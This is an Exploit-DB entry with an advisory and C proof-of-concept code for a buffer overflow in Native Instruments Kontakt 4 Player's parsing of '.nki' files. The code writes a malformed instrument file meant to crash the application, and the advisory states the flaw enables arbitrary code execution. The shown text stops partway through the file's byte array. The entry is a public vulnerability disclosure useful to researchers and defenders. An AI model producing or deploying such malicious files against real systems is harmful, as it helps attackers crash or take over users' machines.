Exploit-DB #15582
Description: Native Instruments Kontakt 4 Player - '.NKI' File Syntactic Analysis Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-11-20
Author: LiquidWorm

Exploit:
/*


 Title: Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC


 Vendor: Native Instruments GmbH
 Product web page: http://www.native-instruments.com
 Affected version: 4.1.3.4125 (Standalone)

 Summary: KONTAKT 4 PLAYER is the free sample player based on award-winning KONTAKT
 technology. Expanding the capabilities of its successful predecessor, the free
 KONTAKT 4 PLAYER allows for innovative, highly playable instruments leaving technological
 and musical limitations behind.

 Desc: Kontakt Player 4 suffers from a buffer overflow vulnerability when parsing ".nki"
 files. The application fails in boundry checking of the user input resulting in a crash.
 The attacker can leverage from this scenario to exectute arbitrary code on the affected
 system. Failed attempts will result in denial of service.

 Tested on: Microsoft Windows XP Professional SP3 (English)

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk

 Advisory ID: ZSL-2010-4979
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4979.php

 17.11.2010

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

#define FN "Vaya_con_Dios.nki"
#define PSIZE 102556
void banner(void);

FILE *fp;

void banner()
{
	printf("\n");
	printf("------------------------------------------------------------\n\n");
	printf("Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow\n\n");
	printf("\tCopyleft (c) 2010. Zero Science Lab\n\n");
	printf("------------------------------------------------------------\n");
	printf("\n");
}

char starter[] = {
	0x12, 0x90, 0xA8, 0x7F, 0x6C, 0x08, 0x00, 0x00, 0x00, 0x01, 0x72, 0x2A, 0x01, 0x3E, 0x01, 0x00, 
	0xFF, 0x03, 0x01, 0x04, 0x34, 0x6E, 0x6F, 0x4B, 0xF2, 0x71, 0xE3, 0x4C, 0x3A, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x09, 
	0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B, 
	0x74, 0x00, 0x00, 0x00, 0x00, 0x28, 0x6E, 0x75, 0x6C, 0x6C, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x34, 0x8D, 0x9A, 0x02, 0x1D, 0x10, 0x00, 0x00, 0x78, 0x01, 0xCD, 0x5A, 0x5B, 0x6F, 
	0x1B, 0xB7, 0x12, 0x7E, 0xEF, 0xAF, 0x08, 0xFC, 0x50, 0x9C, 0x3E, 0xD4, 0x5E, 0x49, 0xB6, 0x6C, 
	0xE3, 0xB4, 0x29, 0x62, 0x59, 0x6A, 0x84, 0xC8, 0xB1, 0x6A, 0x39, 0x42, 0x70, 0x5E, 0x04, 0x7A, 
	0x97, 0x92, 0x08, 0x53, 0xCB, 0xC5, 0x92, 0x6B, 0x4B, 0xFD, 0xF5, 0x9D, 0xD9, 0x0B, 0x6F, 0x32, 
	0x65, 0xD9, 0x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